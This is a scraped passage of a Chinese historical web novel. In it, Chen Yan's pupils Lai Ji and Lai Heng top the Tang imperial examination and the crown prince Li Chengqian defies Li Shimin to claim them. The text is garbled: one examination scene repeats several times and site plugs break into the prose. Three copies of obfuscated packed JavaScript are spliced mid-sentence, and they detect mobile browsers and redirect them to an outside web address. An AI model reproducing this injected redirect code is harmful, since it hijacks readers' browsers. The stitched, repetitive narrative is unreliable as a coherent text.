李淳风补充道:“如果背井离乡,远离故土去海外挖矿算惊喜的话。” “看看,看看!” 陈衍悲痛欲绝,“看看你们说得那叫什么话?什么叫我都开口了,还轮得到你们拒绝?” “我用权势逼迫你们了吗?我威胁你们了吗?我用道德**你们了吗?” “还有,那可是一座巨大的银矿啊,你们如果去的话,摸两把揣自己兜里,我又不跟你们计较什么?” “等你们回来,不就有钱多建几个道观了吗?我跟你们说,我早看那群秃驴不爽了,你们要是多建几个道观,招一些弟子,我铁定支持你们跟那群秃驴争香火。” 李淳风面无表情道:“陈先生,请不要给我们画大饼,我们道门讲究济度,无心跟任何人争夺香火。” “别忽悠我们。” 陈衍啧了声,双手一摊,“说来说去,你们似乎有点不愿意去啊!” “您觉得呢?”袁天罡反问道:“如果说去带回占城稻,需要我们看天象、辨路、应对语言不通等各种情况,我们自然是愿意的。” “但问题是,去海外守个矿我们能干个什么?” “算算今天能开采多少银矿石出来?” 陈衍一噎。 好像还真是这么个理啊。 去守银矿的话,袁天罡和李淳风的作用确实不是特别大,有跟没有,好像没什么区别。 陈衍摸着下巴想了想忍不住点头“你说得确实有点道理所以你们今天来找我主要的目的是猜到了我想让你们出发所以来委婉地拒绝?” 李淳风摇摇头“倒也不能这么说如果陈先生认为我们过去能发挥作用的话我们走一趟无妨。” “不过我们二人给自己算了一卦认为留在长安可能更有利只是不知道利在哪里。” “左思右想之下便找上了陈先生您是不是心里又在盘算着什么东西?” 陈衍不服了:“你们给自己算了一卦认为留在长安更有利这跟我有什么关系?” “这不应该是你们两个的事吗?” 袁天罡眼角抽搐 “如果跟您没关系那还能跟谁有关系?” 陈衍:“.” 话糙理不糙。 现在的袁天罡和李淳风在李世民眼里好像确实归陈衍管了。 但问题是这两人留在长安能干个啥? 陈衍仔细琢磨了一下忽然想起来一件事眨眨眼“别说陛下那里好像确实有一个位置很适合你们。” 两人闻言笑了笑得有些无奈。 “行吧陈先生那您说说是什么位置我们明天就去报到。” 李淳风点头道。 “这事儿啊.有点说不准我得跟陛下商量商量。” “.” 跟李淳风和袁天罡分离陈衍继续逛了一下随即便返回了家中。 谁知刚回来青儿便找了过来。 “少爷家里来了两个客人已经等您许久了。” “客人?”陈衍一愣“谁啊?” “好像叫来恒、来济是两兄弟我记得以前在渭南县的时候我看您跟他们见过几面所以便安排到客厅等候了。” 听见这两个名字陈衍恍然。 原来是这两兄弟啊。 也是。 科举都结束了是该来找自己了。 “行走吧 一路来到客厅推开门便看到了两兄弟老老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130180|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实实地坐着看起来颇为紧张。 见他进来赶忙起身行礼“草民拜见渭国公大人。” 陈衍当即笑道:“说起来咱们已经有大半年未见了记得上次见面的时候你们还能不卑不亢如今为何看上去似乎有些紧张啊。” 两兄弟被陈衍的话噎得不知道怎么开口。 如今能一样吗? 虽然还是渭国公。 但现在你可是户部尚书啊官至三品距离宰相不过半步之遥。 而反观他们只是两个刚科举完还不知道能不能考上的学子身份差距何其之大? “坐吧!” 陈衍坐下抬手按了按“别那么拘束我还是我以前如何跟我说话现在就怎么跟我说话吧咱们也算是老朋友了。” 来氏兄弟心里松了一口气安然坐了下来。 陈衍问道:“如何?经历过这次科举你们认为自己的表现如何跟其他众多学子比起来又如何?” 来恒顿了顿心里颇为自信但脸上却很谦虚“别的学子如何我们兄弟二人不知但承蒙渭国公此前栽培我们认为我们的发挥还是不错的有机会考上。” “是吗?”陈衍有些意外随即平静道:“你们有信心是好事反正你们这么年轻考上了是好事倘若没考上大不了等下一次这次就当有了经验了。” “更何况你们不愿意考的话我也给你们找好了差事直接去太子那里报道吧保你们前途无量。” 来氏兄弟一惊陈衍连后路都帮他们找好了? 两兄弟站起身深深作揖。 “渭国公大恩我们兄弟俩必不敢忘!” “客套话不必再说。”陈衍挥挥手无所谓道:“你们要感谢的也不是我据我所知太子、包括陛下已经在关注你们了。” “你们已经进入了他们的视线。” “既然你们有信心考上那就等等结果吧!” 听到这话原本有些信心的两兄弟彻底呆住了。 不是? 这就进入太子、甚至陛下的视线了? “.” 第592章 三月初,状元郎诞生! 日月总是在不停地轮转就像人生的旅途中人去人又来。 在整个长安城气氛都显得愈发压抑的时候三月初悄然来临万众瞩目的科举结果也将在今天放出。 是金榜题名春风得意! 还是名落孙山尘霜满肩。 都将在今天揭晓。 在天色还未亮的时候朱雀大街便早已挤满了人其中不光有参加科举的学子更有无数前来看热闹的百姓。 连陈衍都带上了一大家子赶了过来想看看今年的结果到底如何。 不止他们陈衍甚至看到了好几个熟人有杜如晦、有房玄龄、甚至还看到了带着妻子的魏征。 因为今天的常朝被取消故此大家都来看了。 “夫君这里可真热闹啊。” 在护卫的守护下李丽质望着周围的人潮语气显得有些兴奋。 “阿兄你抱抱我嘛你抱抱我嘛。” 小兕子踮着脚尖但因为周围的人都太高了故此什么都没看到。 陈衍没好气地敲了一下她的脑袋“上次的事我还没找你算账呢抱抱抱抱个屁!” “你不是总说你不是三岁小孩了吗?哪能让我抱啊?” 兕子瘪了瘪嘴 这时高阳好像发现了什么“夫君你看那边蔡国公好像在对我们招手要不我们直接进去看看这外面属实有些挤了。” 陈衍抬头看了一下发现杜如晦那些人早已进了礼部正在一座二层楼上对他招手。 “行咱们过去!” 陈衍不犹豫带着一大家子进入了礼部。 在礼部官员的指引下找到了杜如晦他们。 “啧啧子安我没想到你今日居然也来凑这个热闹了。”房玄龄笑着说: “以前我一直以为你对科举的结果不怎么在意只需要科举里面存在部分寒门子弟就够了啊。” 陈衍盯了他两息“房 公,瞧你这高兴的样子,看来科举的结果很令你们满意啊。” “而且,我来凑热闹不是很正常吗?” “你们来凑热闹才显得不正常,毕竟考生考得怎么样,都是由你们最终裁定的。” 房玄龄不置可否,没回答陈衍的问题。 单看表情就知道了,这次的科举结果显然被陈衍说中了,确实很不错。 “哎呀!” 杜如晦感慨道:“这次的科举,结果出来一定会令所有**吃一惊!” “起初我们拿到吏部送上来的考卷,上面的名字被涂抹,我们也不知是谁,但一致认为其中一份考卷乃是众多考卷中最出色,最令我们感到惊叹的。” “噢?”陈衍来了兴趣,带着家人坐下,好奇问道:“不知这份考卷,是来自谁?” 杜如晦笑而不语,“我现在说了,不就没有惊喜了吗?反正马上就要放榜了,你暂且稍等一会儿,看看就行了。” “啧,蔡国公,你怎么也学着太史令和国师那一套了,神神秘秘的。”陈衍摇头失笑,看着坐得板正的魏征,凑过去,用手肘戳了戳他。 “魏公,你这个人向来爱说大实话,我出三碗菠菜,炒的,不如你来说说,满足一下我的好奇心?” 一听这话,魏征嘴唇微动,却忽然感觉一道死亡凝视落在了自己身上。 来自魏征的妻子。 魏征扯了扯嘴角,“我不爱吃菠菜。” “而且,这次的科举真的很不一样,你还是自己看吧,我不说。” 这下,不止陈衍好奇了,连李丽质和高阳他们都好奇了起来。 “出来了,出来了!” 忽然,下面传来一道高呼,人潮一下子变得激动了起来,所有人都在争先恐后地往前看,或者踮脚伸头张望。 包括来氏兄弟亦在其中。 现在他们的压力很大。 与那么多沉浸书海多年的学子相比,他们终究太年轻了些,尽管有陈衍费尽心思栽培,但也只是有信心考上罢了。 本来能考上他们已经很满足了。 但陈衍上次说不光是太子、甚至陛下都在关注他们让俩兄弟的压力一下子大了起来。 他们希望自己的成绩能好一点别让陈衍失望别让太子、陛下失望。 所谓的金榜题名! 本质上就是因为礼部会将榜单直接张贴在礼部南院的东墙上。 后来因其墙为淡黄色又被称为金榜放榜处也就成了“金榜题名处”。 当礼部官员把榜单贴出来所有人都在瞪大双眼观看特别是众多学子一个个眼睛瞪得老大想从上面找到自己的名字! 大家最先观看的必然是榜单最上面。 因为最上面的名字代表进士第一也就是民间俗称的状元郎! 可当大家看清楚上面的名字之后汹涌的人潮忽然安静了一瞬随即爆发出了前所未有的惊叹与欢呼! “大哥!!!” “大哥你看到了吗?” “是来济!是来济啊!我是来济!!!” 来济先是懵了而后脑子被这巨大的惊喜砸懵整个人甚至显得有些癫狂:“大哥我中了!!!” “状元啊!!!” “我是状元郎啊!!!” “看到了我也看到了!”来恒心情不比弟弟差因为来济下面一个名字就是他! 进士第二!!! “哈哈哈哈哈!”来济仰天长啸“看到了吗?我是第一进士第一!” “都给我记住了!贞观六年状元郎的名字叫做来济!!!” 此刻 特别是在看清楚来济年轻的面庞之后所有人都在为来济这位二十岁出头的状元郎而献上了掌声、喝彩。 春风少年金榜魁首—— 这样的故事足以让整个长安热血沸腾。 “.” “砰!” 与此同时礼部二楼上陈衍同样激动一巴掌拍在桌上站起来指着下面的来济大喊: “套他个猴子的你们看到没有!?” “你们都看到没有!?” “这是小爷教出来的学生!” “二十岁出头的年纪力压众多学子夺得状元郎!” “我就问你们猛不猛!!?” “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 本来能考上他们已经很满足了。 但陈衍上次说不光是太子、甚至陛下都在关注他们让俩兄弟的压力一下子大了起来。 他们希望自己的成绩能好一点别让陈衍失望别让太子、陛下失望。 所谓的金榜题名! 本质上就是因为礼部会将榜单直接张贴在礼部南院的东墙上。 后来因其墙为淡黄色又被称为金榜放榜处也就成了“金榜题名处”。 当礼部官员把榜单贴出来所有人都在瞪大双眼观看特别是众多学子 大家最先观看的必然是榜单最上面。 因为最上面的名字代表进士第一也就是民间俗称的状元郎! 可当大家看清楚上面的名字之后汹涌的人潮忽然安静了一瞬随即爆发出了前所未有的惊叹与欢呼! “大哥!!!” “大哥你看到了吗?” “是来济!是来济啊!我是来济!!!” 来济先是懵了而后脑子被这巨大的惊喜砸懵整个人甚至显得有些癫狂:“大哥我中了!!!” “状元啊!!!” “我是状元郎啊!!!” “看到了我也看到了!”来恒心情不比弟弟差因为来济下面一个名字就是他! 进士第二!!! “哈哈哈哈哈!”来济仰天长啸“看到了吗?我是第一进士第一!” “都给我记住了!贞观六年状元郎的名字叫做来济!!!” 此刻欢呼赞扬声络绎不绝。 特别是在看清楚来济年轻的面庞之后所有人都在为来济这位二十岁出头的状元郎而献上了掌声、喝彩。 春风少年金榜魁首—— 这样的故事足以让整个长安热血沸腾。 “.” “砰!” 与此同时礼部二楼上陈衍同样激动一巴掌拍在桌上站起来指着下面的来济大喊: “套他个猴子的你们看到没有!?” “你们都看到没有!?” “这是小爷教出来的学生!” “二十岁出头的年纪力压众多学子夺得状元郎!” “我就问你们猛不猛!!?” “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 本来能考上,他们已经很满足了。 但陈衍上次说不光是太子、甚至陛下都在关注他们,让俩兄弟的压力一下子大了起来。 他们希望自己的成绩能好一点,别让陈衍失望,别让太子、陛下失望。 所谓的金榜题名! 本质上,就是因为礼部会将榜单直接张贴在礼部南院的东墙上。 后来,因其墙为淡黄色,又被称为金榜,放榜处也就成了“金榜题名处”。 当礼部官员把榜单贴出来,所有人都在瞪大双眼观看,特别是众多学子,一个个眼睛瞪得老大,想从上面找到自己的名字! 大家最先观看的,必然是榜单最上面。 因为最上面的名字,代表进士第一,也就是民间俗称的状元郎! 可当大家看清楚上面的名字之后,汹涌的人潮忽然安静了一瞬,随即爆发出了前所未有的惊叹与欢呼! “大哥!!!” “大哥你看到了吗?” “是来济!是来济啊!我是来济!!!” 来济先是懵了,而后脑子被这巨大的惊喜砸懵,整个人甚至显得有些癫狂:“大哥,我中了!!!” “状元啊!!!” “我是状元郎啊!!!” “看到了,我也看到了!”来恒心情不比弟弟差,因为来济下面一个名字,就是他! 进士第二!!! “哈哈哈哈哈!”来济仰天长啸,“看到了吗?我是第一,进士第一!” “都给我记住了!贞观六年,状元郎的名字叫做来济!!!” 此刻,欢呼,赞扬声络绎不绝。 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“看到了我也看到了!”来恒心情不比弟弟差因为来济下面一个名字就是他! 进士第二!!! “哈哈哈哈哈!”来济仰天长啸“看到了吗?我是第一进士第一!” “都给我记住了!贞观六年状元郎的名字叫做来济!!!” 此刻欢呼赞扬声络绎不绝。 特别是在看清楚来济年轻的面庞之后所有人都在为来济这位二十岁出头的状元郎而献上了掌声、喝彩。 春风少年金榜魁首—— 这样的故事足以让整个长安热血沸腾。 “.” “砰!” 与此同时礼部二楼上陈衍同样激动一巴掌拍在桌上站起来指着下面的来济大喊: “套他个猴子的你们看到没有!?” “你们都看到没有!?” “这是小爷教出来的学生!” “二十岁出头的年纪力压众多学子夺得状元郎!” “我就问你们猛不猛!!?” “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 本来能考上他们已经很满足了。 但陈衍上次说不光是太子、甚至陛下都在关注他们让俩兄弟的压力一下子大了起来。 他们希望自己的成绩能好一点别让陈衍失望别让太子、陛下失望。 所谓的金榜题名! 本质上就是因为礼部会将榜单直接张贴在礼部南院的东墙上。 后来因其墙为淡黄色又被称为金榜放榜处也就成了“金榜题名处”。 当礼部官员把榜单贴出来所有人都在瞪大双眼观看特别是众多学子一个个眼睛瞪得老大想从上面找到自己的名字! 大家最先观看的必然是榜单最上面。 因为最上面的名字代表进士第一也就是民间俗称的状元郎! 可当大家看清楚上面的名字之后汹涌的人潮忽然安静了一瞬随即爆发出了前所未有的惊叹与欢呼! “大哥!!!” “大哥你看到了吗?” “是来济!是来济啊!我是来济!!!” 来济先是懵了而后脑子被这巨大的惊喜砸懵整个人甚至显得有些癫狂:“大哥我中了!!!” “状元啊!!!” “我是状元郎啊!!!” “看到了我也看到了!”来恒心情不比弟弟差 进士第二!!! “哈哈哈哈哈!”来济仰天长啸“看到了吗?我是第一进士第一!” “都给我记住了!贞观六年状元郎的名字叫做来济!!!” 此刻欢呼赞扬声络绎不绝。 特别是在看清楚来济年轻的面庞之后所有人都在为来济这位二十岁出头的状元郎而献上了掌声、喝彩。 春风少年金榜魁首—— 这样的故事足以让整个长安热血沸腾。 “.” “砰!” 与此同时礼部二楼上陈衍同样激动一巴掌拍在桌上站起来指着下面的来济大喊: “套他个猴子的你们看到没有!?” “你们都看到没有!?” “这是小爷教出来的学生!” “二十岁出头的年纪力压众多学子夺得状元郎!” “我就问你们猛不猛!!?” “.” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 本来能考上他们已经很满足了。 但陈衍上次说不光是太子、甚至陛下都在关注他们让俩兄弟的压力一下子大了起来。 他们希望自己的成绩能好一点别让陈衍失望别让太子、陛下失望。 所谓的金榜题名! 本质上就是因为礼部会将榜单直接张贴在礼部南院的东墙上。 后来因其墙为淡黄色又被称为金榜放榜处也就成了“金榜题名处”。 当礼部官员把榜单贴出来所有人都在瞪大双眼观看特别是众多学子一个个眼睛瞪得老大想从上面找到自己的名字! 大家最先观看的必然是榜单最上面。 因为最上面的名字代表进士第一也就是民间俗称的状元郎! 可当大家看清楚上面的名字之后汹涌的人潮忽然安静了一瞬随即爆发出了前所未有的惊叹与欢呼! “大哥!!!” “大哥你看到了吗?” “是来济!是来济啊!我是来济!!!” 来济先是懵了而后脑子被这巨大的惊喜砸懵整个人甚至显得有些癫狂:“大哥我中了!!!” “状元啊!!!” “我是状元郎啊!!!” “看到了我也看到了!”来恒心情不比弟弟差因为来济下面一个名字就是他! 进士第二!!! “哈哈哈哈哈!”来济仰天长啸“看到了吗?我是第一进士第一!” “都给我记住了!贞观六年状元郎的名字叫做来济!!!” 此刻欢呼赞扬声络绎不绝。 特别是在看清楚来济年轻的面庞之后所有人都在为来济这位二十岁出头的状元郎而献上了掌声、喝彩。 春风少年金榜魁首—— 这样的故事足以让整个长安热血沸腾。 “.” “砰!” 与此同时礼部二楼上陈衍同样激动 “套他个猴子的你们看到没有!?” “你们都看到没有!?” “这是小爷教出来的学生!” “二十岁出头的年纪力压众多学子夺得状元郎!” “我就问你们猛不猛!!?” “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第593章 男儿不展风云志,空负天生八尺躯! 到了此刻,哪怕连魏征都不得不承认,陈衍确实厉害。 仅仅教导了两兄弟不到一年时间,便让对方拿下了进士第一第二。 这可不是靠着关系得来的,而是在他们看不到考生名字时,一致评判出来的。 也就是说,来氏兄弟进士第一、第二,没有丝毫水分,全是真才实学。 只有高阳和李丽质,面色稍显古怪。 她们可太知道陈衍是怎么教的了。 你要说认真教吧.的确算得上,毕竟还从颜家请了一位老先生专门过来教导。 只是陈衍的教导办法嘛 就是直接喊几个人,拿刀架在你脖子上,硬逼着你学,不学就砍了你。 这要是考不上就见鬼了。 杜如晦啧啧称奇,“二十岁出头的年纪,考上状元,而且以两人家道中落的情况,算是半个寒门,此消息传出去,还不知道会惊掉多少人的下巴。” “是啊。”房玄龄亦是感慨,“此前这两兄弟在县考的时候,其实已经表现很出众,进入了陛下的眼中,眼下又高中状元。” “呵呵.接下来一段时间,想必这两兄弟要大出风头了。” “出啊!”陈衍大笑道:“风头越出得大越好,越大越好!” 说完,陈衍上前一点,高声对下面喊:“怎么样?来恒、来济,本官对你们的教导有用吧?” “三年科举,五年模拟,没让你们白学吧?” 听到他的话,许多人的目光顿时朝他们这边看了过来。 来氏兄弟见到高楼上的陈衍,眼眶顿时红了。 高中状元,固然值得他们欣喜若狂。 但两兄弟不是没良心的人,也清楚自己之前的水平,能有今日,全依靠上面那位大人。 在众人震惊的目光下,已经成为进士第一、第二,如今风光无限的两兄弟,竟然当着众人的面深深作揖。 来济深深埋着头,“渭国公大恩大德,我们兄弟二人至死不敢忘,我” “好啦!”陈衍 怕他说出一些不合适的话毕竟现在他是状元郎有些话说出来像是在跟他表忠心一样。 他微微扬了扬下巴“你们没有辜负陛下的期望也没有辜负太子殿下的栽培也不枉我呕心沥血编出一本三年科举五年模拟供给你们学习!” 说完他面向下面所有人朗声道:“诸位首先恭喜金榜有名者 “不过这次没考上的也不用失望科举不是第一次也不会是最后一次最迟后年科举将会再度开放!” “你们许多人都知道渭南县的图书馆其实它还有一个名字叫做皇家图书馆!” “陛下已经吩咐下来长安东南西北四个方位将会再开四座图书馆供给天下众多学子学习!” 听到这个消息下面众多人全部激动了。 原本只有渭南县一座图书馆明明可以容纳上千人但却一个位置都难求。 如果长安同时再开四座图书馆待到下次科举他们很多人未必没有机会啊! “敢问大人.” 这时一名约莫三十岁的考生大着胆子询问道:“长安的图书馆何时能正式开业?还是跟渭南县一样的价格吗?” “当然!”陈衍坚定道:“圣上下令建造图书馆本就是为了给天下学子一个机会。” “图书馆的价格不会更改它也不是用来赚钱的而是用来培养你们的。” “希望你们莫要辜负了陛下一番苦心!” “至于什么时候开业.”陈衍说到这里忽然停顿一下让下面的学子都焦急了起来。 而后才笑着开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144779|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口:“不如就今天?怎么样?” “长安城东南西北每个方位都会有一座图书馆开业而且在皇城吏部旁边同样会有一座图书馆开业共计五座!” 陈衍大笑道:“你们想知道来氏兄弟为何能在这个年纪考上科举吗?他们成功的秘籍是什么吗?” “去图书馆吧那里不仅有海量的书籍各种典故、我跟诸位宰相、以及世家大族共同编撰的精华书 籍名为《三年科举五年模拟》。” “其中包含了我与众多大儒、名相的心血、注解以及之前各种科举的题目、还有众多考中学子的答案!” “我相信 “最后我希望告诉你们的是!” “一次的失败并不代表永远失败!因为失败乃是成功之母!” “身为大唐男儿永远不要失去面对失败的勇气挺直你们的脊梁抬起头来!” “男儿不展风云志空负天生八尺躯!” “各位状元郎今日的来济便是来日的你们!” 人潮汹涌的大街上在此刻竟一瞬间安静无比只剩下陈衍的话语久久回荡。 无数落榜的学子望着高楼上那位高声的青年嘴上呢喃心中鼓荡! “哈哈哈哈哈!好一个男儿不展风云志空负天生八尺躯!” “彩!大彩!” 有人放声大笑一扫内心的失落重新振作起来。 “失败乃是成功之母说得真好啊.不知这是哪位大人?” “呵呵.瞎了你的狗眼那是咱们大唐的传奇白虎圣使十八岁入仕、二十岁任户部尚书他旁边的便是咱们大唐的房谋杜相以及侍中魏公。记得欲买桂花同载酒吗?他是陈载酒啊!” 陈衍:“.” 彼其娘的非得说最后一句话吗? “.” 第594章 李承乾:请陛下称太子! 陈衍一下子郁闷了。 说前面的不行吗? 非得加上一个陈载酒? 高阳公主一下子察觉了他的情绪,揶揄道:“陈载酒不愧是大唐第一奸商哈,依我看,你激励众多学子是假,想卖你那个什么《三年科举,五年模拟》才是真!” “还什么跟诸位大臣、以及众多大儒共同编撰的,那不就是你自己鼓捣出来的吗?” “别人不清楚,难不成我还不清楚?” “就你那点小心思,我隔着老远都听到了。” 陈衍斜睨她,嗤笑一声,扭头问杜如晦:“蔡国公,她说《三年科举,五年模拟》是我一个人鼓捣出来的,你没有出力,你认可吗?” 杜如晦沉吟片刻,严肃道:“高阳殿下,如果是其他事,开开玩笑我也就一笑了之了,但此事不行,方才渭国公都说啦,《三年科举,五年模拟》我出了一份力,可不是渭国公一人的功劳啊。” “是极,是极!”房玄龄尴尬地咳嗽一声,“我也是出过一份力的.” “还有我”魏征一本正经地举起手,“高阳殿下,如果我们没有出力的话,方才渭国公说的时候,我们肯定站出来反驳啊。” “你看我们反驳了吗?” 高阳:“.” 她都被气笑了。 果然啊。 这些老东西一个个脸皮厚的要死。 那《三年科举,五年模拟》可是她亲眼看到陈衍编撰,硬刷出来的。 你们出了个**的力。 还不如她呢。 起码陈衍编撰的时候,她偶尔有空还去帮忙研磨。 你们干了个啥? 不过高阳倒也没说什么,因为她大概明白了陈衍的意思,《三年科举,五年模拟》确实很有用,其价值相当高,陈衍想借用一下杜如晦他们名头,抬高这本书的地位,让更多人注意到。 而杜如晦他们自然不介意多点功绩,所以顺着杆子下来了。 “算了,我懒得管你们。” 高阳淡淡扫了眼下面的人,“如今的科举结果出乎了所有人的预料,来氏兄弟大放异彩,顺带的,连图书馆的地位也在无形中上升了好几个台阶。” “我想,你们今后应该会少很多烦心事了吧?” 房、杜、魏三人会心一笑,并未言语。 而这时,长孙无忌忽然从后面走了出来,不急不缓道:“我也是这么想的,如今科举这一结果出来,朝堂积蓄的暗潮估计会瞬间平息下去。” “不过朝堂的暗潮平息归平息,陛下的怒火就该发泄出来了。” “别忘了,工部还有很多人等着处理,这么一大批金榜题名者涌入朝堂.呵呵,我已经预感到了血流成河。” 陈衍咂咂嘴,对高阳道:“行了,今天高兴,你们去陪陪你们母后吧,别让她心情郁闷,我跟几位大人去找一趟陛下。” “想必,此刻陛下也在等我们。” 众大臣纷纷点头。 李丽质、高阳等人也明白了陈衍的意思,带着兕子和城阳跟他们分别了。 与此同时,在甘露殿。 李世民和长孙皇后其实在一起闲聊。 他们虽然已经知道了科举的结果,但考生的反馈同样重要,所以还在等着下面的人传回消息。 长孙皇后手中捏着来济的考卷,仔仔细细看了两遍之后,感叹道:“这个学生,真的是子安教出来的?” “就是上次子安说,让承乾跟你抢的那个人?” 李世民点点头,“准确来说,是两兄弟,分别拿下了进士第一和第二。” “连朕都没想到啊子安仅仅培养了他们一年不到,而且这两兄弟家道中落之后,其实很多时间都在随波逐流。” 长孙皇后闻言轻笑一声,“二郎,臣妾原以为你已经习惯了,子安嘛,总是时不时给我们弄出来一些惊喜。” “不谈这两兄弟,寒门子弟在此次科举录取中,也占到了三成多,接近四成,这是一个相当好的开始了。” 小说的域名caixs**(请来才 小说 看最新章节 完整章节) “关于寒门子弟.朕其实已经有所心理准备了,唯一 的问题在于这两兄弟. “陛下,太子殿下在外求见! 这时,无舌急匆匆地赶了过来禀报。 李世民:“. 好嘛,他似乎已经知道李承乾来干什么了。 长孙皇后抿了抿唇,“二郎,既然你跟太子有事相商,那我就先去后面了。 李世民眼角一抽,这会你又太子上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144780|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 不承乾了? 他捂额头,晦气地挥挥手,“让他进来。 没一会儿,李承乾走进来,李世民不给对方说话行礼的机会,直接道:“承乾,今日找朕,有什么事吗?朕待会还打算召集诸臣商议一些事,如果没什么重要的事,稍后再说吧。 李承乾心如明镜,见状也不打算虚与委蛇了,抬头说:“父皇,儿臣今日前来,是打算问您要两个人,希望父皇能应允。 听到这话,李世民脸顿时黑了下来。 如果来恒来济只是考中,不是进士第一、第二,那么给他倒也无妨。 现在人家都这么备受瞩目了,加上他自己还缺人,工部一堆位置等着人接替。 你还来要? “给不了一点,赶紧滚犊子,要不然朕抽你! 李世民毫不犹豫地拒绝了! 李承乾挺直腰背,认真道:“父皇,这可由不得您。来恒、来济是由子安兄制定的培养方法,并且是子安兄请出了颜家一位老先生教导出来的。 “这两兄弟欠了子安兄一个天大的人情!子安兄早已跟儿臣商量好了,不管这两兄弟此次考得如何,都交给儿臣! “所以,这两个人,儿臣势在必得! “承乾!李世民猛地起身,怒视下方的李承乾,“你有些放肆了! “这两兄弟如今是进士第一、进士第二,你让朕如何把人交给你? “现在离开,朕今日就当你没来过! “陛下不答应,儿臣今日是不会离开的!李承乾缓缓摇头,即便面对李世民的气势压迫,也未曾弯下腰背,后退半步。 他不想再让陈衍,让母亲失望了。 “陛下,儿臣是太子,太子东宫无人可用,子安兄为儿臣培养出人才,您让儿臣放手,这不行! “承乾!! 李承乾毫不退缩,一字一句道:“请陛下称太子!! 此言一出,甘露殿内顿时安静了。 无舌被吓得跪倒在地上。 暗处听着父子俩人对话的长孙皇后惊讶不已。 李世民都愣住了。 良久,他认真看了下面的李承乾几眼,忽然呵呵笑出了声。 躲在背后的长孙皇后也笑了。 “好!很好! “太子爷,有胆气! “. 第595章 李世民:小陈啊,你说话啊 李承乾沉默不语。 其实他自己也是强撑着一口气没退缩,在李世民直呼他名字的时候,脑子甚至都没转过弯来,下意识说出了那句话。 李承乾都搞不懂今天的自己怎么了,竟然敢对自己身为天可汗的父亲说出这种话。 但他并不后悔。 是! 或许他能力暂时有些不足,但他从来都不是一个软弱的人。 无论做了什么,说了什么,既然已经如此,那便不会后悔。 李承乾是有胆气的,而且胆气十足。 因为他的胆气,来源于永远支持他的长孙皇后和陈衍,更来自他血脉深处的气节! “太子爷!”李世民波澜不惊地盯着下面的李承乾,缓缓开口:“怎么着?您是觉得自己翅膀硬了,可以展翅高飞了吗?” “陛下言重了。”李承乾语气低沉,说出来的话却令所有人感到震惊:“儿臣的翅膀没有硬,但儿臣希望它变硬,做到您口中的展翅高飞!” “所以,儿臣今日来了。” “不仅来氏兄弟儿臣要带走,渭南县的李义府三人,儿臣今后还是会带走。” “时隔那么多年,科举选**的人才,已经足够多了,也够您用了,这几个人,便留给儿臣吧。” 李世民眼中惊异,坐下来,沉默良久,轻嗤道:“朕真的很好奇,为何从前称得上憋屈、只求无错的太子爷,今日如此大胆了?” “是陈子安给你的勇气吗?” “作为你的坚定支持者,他已经走到了户部尚书的位置,连同杜构等人,几乎掌握了整个户部,呵呵.倘若算上钱庄,你太子的势力说一句掌握天下钱财都没问题。” “你真的不是认为自己翅膀硬了,所以才敢跟朕对峙了吗?” “怎么,准备招收人才,自己单干了?” “儿臣从未这般想过。”李承乾缓缓摇头,轻声道:“儿臣也不想再重复一遍了,翅膀硬了这个形容词不好。” “子安兄与儿臣关系是很好,但实际上,他从未给 过儿臣任何**上的支持。私交归私交,我们从未逾越过什么。” “儿臣今日只有一个目的罢了,希望父皇不要将原本复杂的事搞复杂了。东宫的人不堪大用,所以子安兄私下替儿臣培养两个人才,儿臣现在来带走他们,仅此而已。” 李世民额头浮现两条黑线。 心里又气又好笑。 气得是李承乾今天说的话,说是跟他针锋相对,正面硬刚也差不多。 笑的是,自己这个儿子总算出息了。 已经隐隐养出了自己的势,具备了一位合格继承者应有的胆气和气魄。 半晌,李世民也懒得跟李承乾扯了,撑着下巴,淡淡挥手,“来济作为进士第一,也就是民间俗称的状元郎,你肯定是带不走的。” “至于他兄长来恒你自己看着安排吧。” “儿臣跪谢父皇。” 李承乾听到这里,倒也爽快,当即跪下叩首。 李世民额头的黑线又多出了一条。 他就知道,李承乾不可能不清楚如今来济的地位,怎么可能一定要求带走来济。 话说那么狠,就是给他一个讨价还价的空间。 “滚算了,滚旁边去,咱们的国公爷估计马上到了,你也留下吧。” 李承乾一怔,随即反应了过来,再度叩谢,然后满不在乎地走到一旁,坐下了。 李世民:“.” 